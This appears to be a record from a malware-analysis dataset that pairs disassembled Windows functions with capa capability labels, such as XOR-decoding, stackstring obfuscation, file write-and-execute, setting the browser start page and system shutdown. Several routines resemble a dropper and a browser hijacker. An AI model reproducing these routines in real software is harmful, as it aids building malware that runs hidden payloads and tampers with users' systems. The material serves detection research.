joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001b8b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0xc], 0
mov eax, 1
imul ecx, eax, 5
mov byte [ebp + ecx - 0x18], 0x46
mov edx, 1
imul eax, edx, 0
mov byte [ebp + eax - 0x18], 0x57
mov ecx, 1
imul edx, ecx, 6
mov byte [ebp + edx - 0x18], 0x69
mov eax, 1
imul ecx, eax, 3
mov byte [ebp + ecx - 0x18], 0x74
mov edx, 1
shl edx, 0
mov byte [ebp + edx - 0x18], 0x72
mov eax, 1
shl eax, 1
mov byte [ebp + eax - 0x18], 0x69
mov ecx, 1
imul edx, ecx, 9
mov byte [ebp + edx - 0x18], 0
mov eax, 1
imul ecx, eax, 7
mov byte [ebp + ecx - 0x18], 0x6c
mov edx, 1
shl edx, 3
mov byte [ebp + edx - 0x18], 0x65
mov eax, 1
shl eax, 2
mov byte [ebp + eax - 0x18], 0x65
lea ecx, [ebp - 0x18]
push ecx
call fcn.10017da0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1001b980
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
call dword [0x1003b1ac]
call dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x1002f5cd
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1002f28d

Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]
Function at 0x401a50
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x82014c]
jne 0x401a5a
repz ret
jmp fcn.0040285c

Function at 0x4078dc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x82014c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405ad2
and dword [ebp - 0x14], 0
cmp dword [0x822e60], 0
mov dword [ebp - 0x18], eax
jne 0x40798f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x407a37
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x407a37
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x822e60], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x822e64], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x822e68], eax
call edi
push eax
call esi
mov dword [0x822e70], eax
test eax, eax
je 0x40798f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x822e6c], eax
mov eax, dword [0x822e6c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4079e8
cmp dword [0x822e70], ecx
je 0x4079e8
push eax
call esi
push dword [0x822e70]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4079e8
test ebx, ebx
je 0x4079e8
call edi
test eax, eax
je 0x4079df
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4079df
test byte [ebp - 8], 1
jne 0x4079e8
or dword [ebp + 0x10], 0x200000
jmp 0x407a1b
mov eax, dword [0x822e64]
cmp eax, dword [ebp - 0x18]
je 0x407a1b
push eax
call esi
test eax, eax
je 0x407a1b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x407a1b
mov eax, dword [0x822e68]
cmp eax, dword [ebp - 0x18]
je 0x407a1b
push eax
call esi
test eax, eax
je 0x407a1b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x822e60]
call esi
test eax, eax
je 0x407a37
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x407a39
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401a50
leave
ret
Function at 0x818ed0
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
test ebx, ebx
jle 0x818ee4
call fcn.00818e50
xor byte [esi + edi], al
inc esi
cmp esi, ebx
jl 0x818ed7
pop esi
cmp ebx, 0x2d
jne 0x818efe
mov dword [0x2fc8930], 0xa62e7790
mov dword [0x2fc8934], 0xffffffff
ret

Function at 0x818f00
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
mov eax, dword [0x82014c]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x821380]
push ebx
mov ebx, dword [0x2fc8924]
push edi
mov edi, dword [0x2fc64a4]
call fcn.00818ea0
cmp dword [0x2fc8924], 0x2f
jne 0x818f6d
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.00818ed0
mov ecx, dword [esp + 0x24]
pop edi
pop ebx
xor ecx, esp
call fcn.00401a50
add esp, 0x24
ret
Function at 0x4011c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4011db
pop edi
pop ebx
ret 0xc
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x4011f1
pop esi
pop edi
xor eax, eax
pop ebx
ret 0xc
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x401212
cmp esi, eax
jae 0x4011e9
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401204
cmp esi, eax
jae 0x4011e9
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret 0xc

Function at 0x401d20
Capabilities:
Check if file exists
Create directory

Disassembly:
sub esp, 0x234
mov eax, dword [0x43b180]
push edi
mov edi, dword [esp + 0x23c]
test edi, edi
mov dword [esp + 0x234], eax
mov dword [esp + 4], ecx
je 0x401ed7
mov eax, dword [esp + 0x240]
test eax, eax
je 0x401ed7
push ebp
lea eax, [esp + 0xc]
push eax
push 1
push 0x401060
push 0x401050
push 0x401040
push 0x401030
push 0x401020
push 0x401010
push section..text
call sub.Cabinet.dll_FDICreate
mov ebp, eax
add esp, 0x24
test ebp, ebp
jne 0x401da5
pop ebp
pop edi
mov ecx, dword [esp + 0x230]
call fcn.004120ce
add esp, 0x234
ret 8
push esi
push 0
push 0x8020
push edi
call fcn.004117ab
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
jne 0x401de0
push ebp
call sub.Cabinet.dll_FDIDestroy
add esp, 4
pop esi
pop ebp
xor eax, eax
pop edi
mov ecx, dword [esp + 0x230]
call fcn.004120ce
add esp, 0x234
ret 8
lea ecx, [esp + 0x1c]
push ecx
push esi
push ebp
call sub.Cabinet.dll_FDIIsCabinet
add esp, 0xc
test eax, eax
jne 0x401e04
push esi
call fcn.00411d82
push ebp
call sub.Cabinet.dll_FDIDestroy
add esp, 8
jmp 0x401dc6
push ebx
push esi
call fcn.00411d82
push 0x5c
push edi
call fcn.00412070
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, eax
add esp, 0xc
test esi, esi
lea edx, [esp + 0x13c]
jne 0x401e3b
push edi
push edx
call ebx
push 0x42e60c
lea eax, [esp + 0x3c]
push eax
call ebx
jmp 0x401e5b
lea ecx, [esi + 1]
push ecx
push edx
call ebx
sub esi, edi
lea eax, [esi + 1]
push eax
lea ecx, [esp + 0x3c]
push edi
push ecx
call fcn.00411f40
add esp, 0xc
mov byte [esp + esi + 0x39], 0
mov edx, dword [esp + 0x24c]
push edx
push 0x43c060
call ebx
push 0x43c060
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
pop ebx
jne 0x401e86
push eax
push 0x43c060
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 4]
push ecx
push 0
push 0x401990
push 0
lea edx, [esp + 0x44]
push edx
lea eax, [esp + 0x14c]
push eax
push ebp
call sub.Cabinet.dll_FDICopy
add esp, 0x1c
cmp eax, 1
push ebp
jne 0x401dbe
call sub.Cabinet.dll_FDIDestroy
add esp, 4
pop esi
pop ebp
pop edi
mov ecx, dword [esp + 0x230]
call fcn.004120ce
add esp, 0x234
ret 8
mov ecx, dword [esp + 0x234]
xor eax, eax
pop edi
call fcn.004120ce
add esp, 0x234
ret 8
Function at 0x402310
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push str.kernel32.dll
mov esi, ecx
call ebx
test eax, eax
mov dword [esi], eax
jne 0x40232a
pop esi
pop ebx
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetNativeSystemInfo
push eax
call edi
mov dword [esi + 8], eax
mov eax, dword [esi]
push str.IsWow64Process
push eax
call edi
mov ecx, dword [esi]
push str.Wow64DisableWow64FsRedirection
push ecx
mov dword [esi + 0xc], eax
call edi
mov edx, dword [esi]
push str.Wow64RevertWow64FsRedirection
push edx
mov dword [esi + 0x18], eax
call edi
mov dword [esi + 0x14], eax
mov eax, dword [esi]
push str.GetSystemWow64DirectoryA
push eax
call edi
push str.advapi32.dll
mov dword [esi + 0x10], eax
call ebx
test eax, eax
mov dword [esi + 4], eax
jne 0x402382
pop edi
pop esi
pop ebx
ret
mov ecx, dword [esi]
push str.Wow64RevertWow64FsRedirection
push ecx
call edi
mov edx, dword [esi]
push str.Wow64RevertWow64FsRedirection
push edx
mov dword [esi + 0x20], eax
call edi
pop edi
mov dword [esi + 0x1c], eax
pop esi
mov eax, 1
pop ebx
ret

Function at 0x402aa0
Capabilities:
Create shortcut via ishelllink
Delete file

Disassembly:
sub esp, 0x214
mov eax, dword [0x43b180]
mov dword [esp + 0x210], eax
mov eax, dword [esp + 0x218]
push esi
xor esi, esi
test eax, eax
jne 0x402ae4
mov eax, dword [esp + 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop esi
mov ecx, dword [esp + 0x210]
call fcn.004120ce
add esp, 0x214
ret 0x18
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x402bcf
lea ecx, [esp + 4]
push ecx
push 0x433bdc
push 1
push 0
push 0x433bec
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x402bc9
mov ecx, dword [esp + 0x224]
mov eax, dword [esp + 4]
mov edx, dword [eax]
push ecx
push eax
call dword [edx + 0x50]
mov eax, dword [esp + 0x228]
test eax, eax
je 0x402b3d
mov ecx, dword [esp + 4]
mov edx, dword [ecx]
push eax
push ecx
call dword [edx + 0x1c]
mov ecx, dword [esp + 0x22c]
test ecx, ecx
je 0x402b53
mov eax, dword [esp + 4]
mov edx, dword [eax]
push ecx
push eax
call dword [edx + 0x3c]
mov ecx, dword [esp + 0x230]
test cx, cx
je 0x402b6a
mov eax, dword [esp + 4]
mov edx, dword [eax]
push ecx
push eax
call dword [edx + 0x34]
mov eax, dword [esp + 4]
mov ecx, dword [eax]
lea edx, [esp + 8]
push edx
push 0x433c2c
push eax
call dword [ecx]
test eax, eax
jl 0x402bbf
mov ecx, dword [esp + 0x220]
push 0x104
lea eax, [esp + 0x10]
push eax
push 0xffffffffffffffff
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 8]
mov edx, dword [eax]
push 0
lea ecx, [esp + 0x10]
push ecx
push eax
call dword [edx + 0x18]
mov eax, dword [esp + 8]
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov esi, 1
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [esp + 0x214]
mov eax, esi
pop esi
call fcn.004120ce
add esp, 0x214
ret 0x18
Function at 0x402dc0
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x402de0
xor eax, eax
add esp, 0x14
ret
lea ecx, [esp + 8]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp]
push 0
push 0
push 0
lea edx, [esp + 0x10]
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402dda
push eax
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
neg eax
sbb eax, eax
neg eax
add esp, 0x14
ret

Function at 0x402e40
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x40
mov eax, dword [0x43b180]
push esi
mov dword [esp + 0x40], eax
lea eax, [esp + 4]
push eax
push 0xf003f
push 0
push str.SystemCurrentControlSetControlKeyboard_Layouts
push reloc.OLEAUT32.dll_SysReAllocString
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402e96
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x402e84
push 0
push 0
push 0x42f038
call fcn.00420e9a
xor eax, eax
pop esi
mov ecx, dword [esp + 0x3c]
call fcn.004120ce
add esp, 0x40
ret 0xc
mov edx, dword [esp + 4]
push ebx
push ebp
push edi
mov byte [esp + 0x18], 0
xor eax, eax
mov ecx, 0xc
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x5c]
push ecx
stosb byte es:[edi], al
mov edi, dword [esp + 0x5c]
push edi
xor esi, esi
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x402f47
mov ebx, dword [esp + 0x54]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x402f30
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x58]
push edx
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push str.Ime_File
push ecx
mov dword [esp + 0x70], 0x32
call ebp
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x18]
push eax
call fcn.00412b72
lea ecx, [esp + 0x1c]
push ebx
push ecx
call fcn.00412ade
add esp, 0xc
test eax, eax
je 0x402f5c
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x10]
push edx
push edi
inc esi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x402ed2
pop edi
pop ebp
pop ebx
xor eax, eax
pop esi
mov ecx, dword [esp + 0x3c]
call fcn.004120ce
add esp, 0x40
ret 0xc
mov ecx, dword [esp + 0x4c]
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
call fcn.004120ce
add esp, 0x40
ret 0xc
Function at 0x402f80
Capabilities:
Set registry value

Disassembly:
sub esp, 0x520
mov eax, dword [0x43b180]
push esi
mov dword [esp + 0x520], eax
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push str.softwareMicrosoftWindowsCurrentVersionUninstall
push reloc.OLEAUT32.dll_SysReAllocString
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4030ec
mov edx, dword [esp + 8]
push edi
push eax
lea ecx, [esp + 0xc]
push ecx
push eax
push 0xf003f
push eax
push eax
push eax
push 0x42f104
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jne 0x4030e4
lea eax, [esp + 0x31c]
push 0x42f104
push eax
call fcn.00412966
mov ecx, dword [esi + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push str._sUninst.exe
push edx
call fcn.00412966
mov eax, dword [esi + 0x1c]
push eax
lea ecx, [esp + 0x12c]
push str._swnwbwnwb.exe
push ecx
call fcn.00412966
lea edx, [esp + 0x238]
push 0x42f0d8
push edx
call fcn.00412966
lea eax, [esp + 0x448]
push str.http:__www.wn51.com
push eax
call fcn.00412966
mov edx, dword [esp + 0x38]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add esp, 0x30
push 0x104
lea ecx, [esp + 0x320]
push ecx
push 1
push 0
push str.DisplayName
push edx
call esi
mov ecx, dword [esp + 8]
push 0x104
lea eax, [esp + 0x14]
push eax
push 1
push 0
push str.UninstallString
push ecx
call esi
mov eax, dword [esp + 8]
push 0x104
lea edx, [esp + 0x118]
push edx
push 1
push 0
push str.DisplayIcon
push eax
call esi
mov edx, dword [esp + 8]
push 0x104
lea ecx, [esp + 0x21c]
push ecx
push 1
push 0
push str.Publisher
push edx
call esi
mov ecx, dword [esp + 8]
push 0x104
lea eax, [esp + 0x424]
push eax
push 1
push 0
push str.URLInfoAbout
push ecx
call esi
mov edx, dword [esp + 8]
push edx
call edi
mov eax, dword [esp + 0xc]
push eax
call edi
pop edi
mov ecx, dword [esp + 0x520]
xor eax, eax
pop esi
call fcn.004120ce
add esp, 0x520
ret

Function at 0x403110
Capabilities:
Set registry value

Disassembly:
push ecx
lea eax, [esp]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403136
xor eax, eax
pop ecx
ret 4
mov edx, dword [esp + 8]
mov eax, edx
push esi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403140
mov ecx, dword [esp + 4]
sub eax, esi
push eax
push edx
push 1
push 0
push str.Start_Page
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop esi
pop ecx
ret 4
Function at 0x403180
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x160
mov eax, dword [0x43b180]
push ebx
mov ebx, dword [esp + 0x168]
mov dword [esp + 0x160], eax
mov eax, ebx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4031a0
sub eax, edx
mov dword [esp + 0x14], eax
je 0x40327e
push esi
push edi
push 0x104
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, 0xc
mov esi, str.Program_FilesInternet_Exploreriexplore.exe
lea edi, [esp + 0x67]
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4031e0
lea edi, [esp + 0x64]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4031f0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 1
push 0
push 0
push ebx
mov ecx, eax
push str.open
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
ja 0x40327c
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
xor ecx, ecx
mov dword [esp + 0xc], ecx
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
lea eax, [esp + 0x24]
push eax
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x38], ecx
lea ecx, [esp + 0x84]
push ecx
push 0
mov dword [esp + 0x48], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x10]
push eax
call esi
pop edi
pop esi
mov ecx, dword [esp + 0x160]
pop ebx
call fcn.004120ce
add esp, 0x160
ret 4

Function at 0x4032a0
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push eax
push 0x20006
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403306
mov edx, dword [esp + 0x10]
mov eax, edx
push esi
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4032d0
mov ecx, dword [esp + 0xc]
sub eax, esi
push eax
mov eax, dword [esp + 0x14]
push edx
push 1
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0xc]
push edx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
je 0x403306
xor eax, eax
ret 0x10
mov eax, 1
ret 0x10